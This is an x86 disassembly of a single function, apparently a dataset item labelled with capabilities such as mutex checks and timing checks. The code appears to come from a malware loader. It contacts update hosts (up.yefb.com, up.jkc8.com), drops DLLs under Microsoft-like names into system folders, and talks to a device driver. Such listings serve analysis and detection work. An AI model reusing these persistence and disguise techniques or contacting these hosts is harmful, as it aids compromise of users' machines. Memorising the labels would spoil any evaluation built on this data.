Function at 0x4020c0
Capabilities:
Check for time delay via gettickcount
Check mutex on windows
Copy file
Delete file
Get common file path
Read .ini file

Disassembly:
sub esp, 0x308
mov eax, dword [0x41313c]
xor eax, esp
mov dword [esp + 0x304], eax
mov eax, dword [esp + 0x30c]
push ebx
push ebp
push esi
mov esi, dword [esp + 0x320]
push edi
push str.cxcwds7bff
push 0
push 0
mov dword [esp + 0x38], eax
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x402d2f
test edi, edi
je 0x402d2f
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
jne 0x40213b
push str.._log.dat
push str.NoMod
push str.RunHiError
push 0x410c80
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
push str.p005
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x414ba0], eax
test eax, eax
je 0x402d36
xor esi, esi
push 0x206
lea edx, [esp + 0x112]
xor ecx, ecx
push esi
push edx
mov dword [esp + 0x30], esi
mov word [esp + 0x118], cx
call fcn.004040c0
mov eax, dword [0x413fe4]
mov edx, dword [eax + 0xc]
add esp, 0xc
mov ecx, 0x413fe4
call edx
add eax, 0x10
mov edx, str.ux_getip.aspx_
lea edi, [esp + 0x10]
mov dword [esp + 0x10], eax
call fcn.00402e10
push 0x3c
lea edx, [esp + 0x54]
xor eax, eax
xor ecx, ecx
push esi
mov ebp, 1
push edx
mov ebx, ebp
mov dword [esp + 0x28], esi
mov word [esp + 0x58], ax
mov word [esp + 0x5a], cx
call fcn.004040c0
push 0x3c
lea edx, [esp + 0xa0]
xor eax, eax
xor ecx, ecx
push esi
push edx
mov word [esp + 0xa4], ax
mov word [esp + 0xa6], cx
call fcn.004040c0
push 0x3c
lea edx, [esp + 0xec]
xor eax, eax
xor ecx, ecx
push esi
push edx
mov word [esp + 0xf0], ax
mov word [esp + 0xf2], cx
call fcn.004040c0
add esp, 0x24
push str.agname
mov eax, edi
push eax
lea eax, [esi + 7]
call fcn.004032f0
call fcn.00401240
mov dword [esp + 0x28], eax
cmp eax, esi
je 0x40228f
lea ecx, [esp + 0x10c]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [esp + 0x10c]
add eax, 0xfffffffe
lea esp, [esp]
mov cx, word [eax + 2]
add eax, 2
cmp cx, si
jne 0x402250
mov edx, dword [0x410cc0]
mov ecx, dword [0x410cc4]
mov dword [eax], edx
mov edx, dword [0x410cc8]
mov dword [eax + 4], ecx
mov ecx, dword [0x410ccc]
mov dword [eax + 8], edx
mov edx, dword [0x410cd0]
mov dword [eax + 0xc], ecx
mov dword [eax + 0x10], edx
push 0x410cd4
jmp 0x4022cd
push 0x104
lea eax, [esp + 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea edi, [esp + 0x10c]
add edi, 0xfffffffe
lea esp, [esp]
mov ax, word [edi + 2]
add edi, 2
cmp ax, si
jne 0x4022b0
mov ecx, 8
mov esi, 0x410cf4
rep movsd dword es:[edi], dword [esi]
push 0x410d14
push 0x410cd8
push 0x410ce4
call dword [sym.imp.KERNEL32.dll_WriteProfileStringW]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
xor edi, edi
jmp 0x4022f0
cmp word [esp + 0x8c], 0
jne 0x402387
push 0x3e8
call esi
push 0x20
lea ecx, [esp + 0x90]
push ecx
push 0x410c2c
push 0x410d18
push 0x410ce4
call dword [sym.imp.KERNEL32.dll_GetProfileStringW]
cmp word [esp + 0x8c], 0
jne 0x402357
lea edx, [esp + 0x10c]
push edx
push 0x20
lea eax, [esp + 0x94]
push eax
push 0x410c2c
push 0x410d18
push 0x410ce4
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
add edi, ebp
cmp edi, 0xa
jl 0x4022f0
cmp word [esp + 0x8c], 0
jne 0x402387
xor eax, eax
jmp 0x402370
movzx ecx, word [eax + 0x410d20]
mov word [esp + eax + 0x8c], cx
add eax, 2
test cx, cx
jne 0x402370
lea ecx, [esp + 0x8c]
push 0x410d20
push ecx
call fcn.0040d5a5
add esp, 8
test eax, eax
je 0x4023b9
lea edx, [esp + 0x8c]
push str.xunjead
push edx
call fcn.0040d5a5
add esp, 8
test eax, eax
jne 0x4023bb
xor ebx, ebx
lea eax, [esp + 0x8c]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4023c5
sub eax, edx
lea ecx, [esp + 0x8c]
push ecx
lea edx, [esp + 0x14]
sar eax, 1
push edx
call fcn.004032f0
push str.username
lea eax, [esp + 0x14]
push eax
mov eax, 0xa
call fcn.004032f0
xor edi, edi
lea esp, [esp]
cmp word [esp + 0x4c], 0
jne 0x40258a
push 0x3e8
call esi
push 0x20
lea ecx, [esp + 0x50]
push ecx
push 0x410c2c
push 0x410d5c
push 0x410ce4
call dword [sym.imp.KERNEL32.dll_GetProfileStringW]
cmp word [esp + 0x4c], 0
jne 0x40245b
lea edx, [esp + 0x10c]
push edx
push 0x20
lea eax, [esp + 0x54]
push eax
push 0x410c2c
push 0x410d5c
push 0x410ce4
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
lea ecx, [esp + 0x4c]
push str.ld4162004
push ecx
call fcn.0040d5a5
add esp, 8
test eax, eax
je 0x40257b
lea edx, [esp + 0x4c]
push str.devilangel
push edx
call fcn.0040d5a5
add esp, 8
test eax, eax
je 0x40257b
lea eax, [esp + 0x4c]
push str.renjiming5
push eax
call fcn.0040d5a5
add esp, 8
test eax, eax
je 0x40257b
lea ecx, [esp + 0x4c]
push str.meini5
push ecx
call fcn.0040d5a5
add esp, 8
test eax, eax
je 0x40257b
lea edx, [esp + 0x4c]
push str.yuanzheng
push edx
call fcn.0040d5a5
add esp, 8
test eax, eax
je 0x40257b
lea eax, [esp + 0x4c]
push str.classinfo
push eax
call fcn.0040d5a5
add esp, 8
test eax, eax
je 0x40257b
lea ecx, [esp + 0x4c]
push str.sxlftl
push ecx
call fcn.0040d5a5
add esp, 8
test eax, eax
je 0x40257b
lea edx, [esp + 0x4c]
push str.xinjunge
push edx
call fcn.0040d5a5
add esp, 8
test eax, eax
je 0x40257b
lea eax, [esp + 0x4c]
push str.gt008
push eax
call fcn.0040d5a5
add esp, 8
test eax, eax
je 0x40257b
lea ecx, [esp + 0x4c]
push str.hbxyww
push ecx
call fcn.0040d5a5
add esp, 8
test eax, eax
je 0x40257b
lea edx, [esp + 0x4c]
push str.ey789
push edx
call fcn.0040d5a5
add esp, 8
test eax, eax
je 0x40257b
lea eax, [esp + 0x4c]
push str.a457514
push eax
call fcn.0040d5a5
add esp, 8
test eax, eax
jne 0x40257f
mov dword [esp + 0x1c], ebp
add edi, ebp
cmp edi, 0xa
jl 0x402400
mov edx, dword [0x413fe4]
mov eax, dword [edx + 0xc]
mov ecx, 0x413fe4
call eax
mov ebp, eax
mov dword [esp + 0x3c], ebp
test ebx, ebx
je 0x4025b9
lea ecx, [esp + 0x4c]
push 0x5f
push ecx
call fcn.00403dca
add esp, 8
test eax, eax
je 0x4025b9
xor ebx, ebx
lea eax, [esp + 0x4c]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4025c0
sub eax, edx
lea edx, [esp + 0x4c]
push edx
lea ecx, [esp + 0x14]
sar eax, 1
push ecx
call fcn.004032f0
push str.fjsogou
lea edx, [esp + 0x14]
push edx
mov eax, 9
call fcn.004032f0
test ebx, ebx
je 0x402602
push str.http:__up.yefb.com_
lea eax, [esp + 0x18]
push eax
jmp 0x40260c
push str.http:__up.jkc8.com_
lea ecx, [esp + 0x18]
push ecx
lea ecx, [esp + 0x18]
call fcn.00403060
mov ecx, dword [eax]
mov esi, dword [esp + 0x18]
lea eax, [ecx - 0x10]
add esi, 0xfffffff0
add esp, 8
cmp eax, esi
je 0x40266a
cmp dword [esi + 0xc], 0
lea edi, [esi + 0xc]
jl 0x40265d
mov edx, dword [eax]
cmp edx, dword [esi]
jne 0x40265d
call fcn.00403280
mov ebx, eax
or eax, 0xffffffff
lock xadd dword [edi], eax
dec eax
test eax, eax
jg 0x402654
mov ecx, dword [esi]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push esi
call eax
add ebx, 0x10
mov dword [esp + 0x10], ebx
jmp 0x40266a
mov ebx, dword [ecx - 0xc]
push ecx
lea eax, [esp + 0x14]
call fcn.004031e0
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
or edx, 0xffffffff
lea ecx, [eax + 0xc]
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40268a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push 0x20
lea ecx, [esp + 0xd0]
push ecx
push 0x410c2c
push str.MACAddr
push 0x410ce4
call dword [sym.imp.KERNEL32.dll_GetProfileStringW]
cmp word [esp + 0xcc], 0
jne 0x4026db
lea edx, [esp + 0x10c]
push edx
push 0x20
lea eax, [esp + 0xd4]
push eax
push str.0000000000
push str.MACAddr
push 0x410ce4
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
lea ecx, [esp + 0x18]
mov eax, 0x30303030
push ecx
lea ecx, [esp + 0x110]
mov dword [esp + 0x48], eax
mov byte [esp + 0x4c], al
mov byte [esp + 0x4d], 0
call fcn.00402d60
push 0x410ec8
lea edx, [esp + 0x14]
push edx
mov eax, 7
call fcn.004032f0
mov eax, dword [esp + 0x18]
mov esi, dword [esp + 0x10]
push 1
push eax
push ecx
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
mov dword [esp + 0x20], esp
mov ebx, esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x40274b
cmp eax, dword [esi]
jne 0x40274b
mov edi, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x402787
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
jne 0x402764
call fcn.00401d90
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
lea edx, [esi + 0x10]
push edx
lea eax, [eax + eax + 2]
push eax
lea ecx, [edi + 0x10]
push ecx
call fcn.004039bb
add esp, 0x10
add edi, 0x10
lea ecx, [esp + 0x50]
mov dword [ebx], edi
call fcn.00401350
test eax, eax
mov eax, dword [esp + 0x18]
jne 0x4027f7
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x4027b9
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, ebp
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4027d4
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [esi + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4027ed
mov ecx, dword [esi]
mov eax, dword [ecx]
mov edx, dword [eax + 4]
push esi
call edx
mov eax, 1
jmp 0x402d38
mov esi, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
push eax
push 0x410d14
push str.Wk_Cot
push 0x410ce4
mov dword [esp + 0x24], 0
call esi
mov ecx, dword [esp + 0x18]
push ecx
push 0x410d14
push 0x410ee8
push 0x410c80
call esi
cmp dword [esp + 0x1c], 0
je 0x40284a
mov edx, dword [esp + 0x18]
push edx
push 0x410cd4
push 0x410ef8
push 0x410ce4
call esi
mov ecx, dword [esp + 0x2c]
push 0x104
lea eax, [esp + 0x110]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea edx, [esp + 0x20]
push edx
lea ecx, [esp + 0x110]
call fcn.00402d60
mov esi, dword [esp + 0x20]
mov ecx, dword [esi - 0x10]
mov eax, dword [ecx]
mov edx, dword [eax + 0x10]
add esi, 0xfffffff0
call edx
cmp dword [esi + 0xc], 0
lea ecx, [esi + 0xc]
jl 0x40289e
cmp eax, dword [esi]
jne 0x40289e
mov edi, esi
mov eax, 1
lock xadd dword [ecx], eax
jmp 0x4028da
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
jne 0x4028b7
call fcn.00401d90
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.004039bb
add esp, 0x10
mov ecx, dword [esp + 0x20]
push 0x5c
add edi, 0x10
push ecx
mov dword [esp + 0x24], edi
call fcn.00403df0
mov edx, dword [esp + 0x28]
add esp, 8
test eax, eax
jne 0x4028fd
or ecx, 0xffffffff
jmp 0x402903
sub eax, edx
sar eax, 1
mov ecx, eax
mov eax, dword [edx - 0xc]
lea edx, [esp + 0x20]
push edx
call fcn.004019f0
mov ecx, dword [esp + 0x20]
lea eax, [esp + 0x30]
push eax
call fcn.004018b0
push 0x104
lea ecx, [esp + 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp dword [esp + 0x28], 0
lea edi, [esp + 0x1c]
je 0x402959
movzx edx, word [esp + 0x10c]
push str.Program_FilesCommon_FilesMicrosoft_Shared
push edx
push str._C:_sMFC90ENut.dll
call fcn.004033b0
add esp, 0xc
jmp 0x40296e
lea eax, [esp + 0x10c]
push eax
push str._sMFC90ENut.dll
call fcn.004033b0
add esp, 8
mov ebx, dword [esp + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edx, dword [0x413fe4]
mov eax, dword [edx + 0xc]
mov ecx, 0x413fe4
call eax
push ebx
mov dword [esp + 0x30], eax
call fcn.004011a0
add esp, 4
test eax, eax
je 0x402a44
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x402a36
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x410fbc
push esi
call ebp
mov edi, eax
test edi, edi
je 0x402a16
lea ecx, [esp + 0x14]
push ecx
lea ecx, [esp + 0x110]
call fcn.004018b0
mov eax, dword [esp + 0x14]
cmp dword [eax - 4], 1
jle 0x4029f0
mov edx, dword [eax - 0xc]
push edx
lea eax, [esp + 0x18]
push eax
call fcn.00401b50
mov eax, dword [esp + 0x14]
push eax
call edi
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
add esp, 4
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x402a16
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push 0x410fc4
push esi
call ebp
lea ecx, [esp + 0x44]
push ecx
mov dword [esp + 0x18], eax
call eax
add esp, 4
push 0x410fc8
push esi
call ebp
call eax
push 0
push str.C:windows_system32msdialg100_D.dll
push ebx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov esi, eax
push esi
lea edx, [esp + 0x110]
push 0x41101c
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileA]
add esp, 0xc
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push 0x410c18
mov dword [esp + 0x54], 3
mov dword [esp + 0x50], esi
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebp, dword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov esi, eax
cmp esi, 0xffffffff
je 0x402acd
test esi, esi
je 0x402acd
push 0
lea eax, [esp + 0x2c]
push eax
push 0
push 0
push 8
lea ecx, [esp + 0x48]
push ecx
push 0x8000c004
push esi
call ebp
push esi
mov dword [esp + 0x28], eax
call ebx
cmp dword [esp + 0x24], 0
jne 0x402b02
lea edx, [esp + 0x10c]
push edx
push str.Shift3
push 0x410ce4
call dword [sym.imp.KERNEL32.dll_WriteProfileStringW]
push str.._log.dat
lea eax, [esp + 0x110]
push eax
push str.Shift3
push 0x410ce4
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor esi, esi
mov dword [esp + 0x28], eax
cmp dword [esp + 0x24], esi
jne 0x402b7b
cmp esi, 0xea60
jae 0x402b7b
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push 0x410c18
call edi
mov esi, eax
cmp esi, 0xffffffff
je 0x402b61
test esi, esi
je 0x402b61
push 0
lea ecx, [esp + 0x44]
push ecx
push 0
push 0
push 8
lea edx, [esp + 0x48]
push edx
push 0x8000c004
push esi
call ebp
push esi
mov dword [esp + 0x28], eax
call ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x3e8
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [esp + 0x24], 0
je 0x402b14
mov esi, dword [esp + 0x28]
lea eax, [esp + 0x10]
push eax
mov ebp, esi
call fcn.00402e50
jmp 0x402b90
mov ecx, ebp
sub ecx, esi
cmp ecx, 0x36ee80
jb 0x402c36
mov edx, dword [esp + 0x18]
mov esi, dword [esp + 0x10]
push 0
push edx
push ecx
mov ecx, dword [esi - 0x10]
mov eax, dword [ecx]
mov edx, dword [eax + 0x10]
add esi, 0xfffffff0
mov dword [esp + 0x4c], esp
mov ebx, esp
call edx
cmp dword [esi + 0xc], 0
lea ecx, [esi + 0xc]
jl 0x402bd9
cmp eax, dword [esi]
jne 0x402bd9
mov edi, esi
mov eax, 1
lock xadd dword [ecx], eax
jmp 0x402c10
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x40275f
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea eax, [eax + eax + 2]
push eax
add esi, 0x10
push esi
push eax
lea ecx, [edi + 0x10]
push ecx
call fcn.004039bb
add esp, 0x10
add edi, 0x10
lea ecx, [esp + 0x50]
mov dword [ebx], edi
call fcn.00401350
test eax, eax
je 0x402c4e
mov eax, dword [esp + 0x14]
test eax, eax
je 0x402c34
lea edx, [esp + 0x44]
push edx
call eax
add esp, 4
mov esi, ebp
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x493e0
mov ebp, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402b90
mov eax, dword [esp + 0x2c]
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x402c6b
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x30]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x402c8b
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x402cab
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x402ccb
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x402ceb
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x3c]
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x402d08
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x10]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x402d28
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, 1
jmp 0x402d38
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov ecx, dword [esp + 0x314]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004039ac
add esp, 0x308
ret 0x10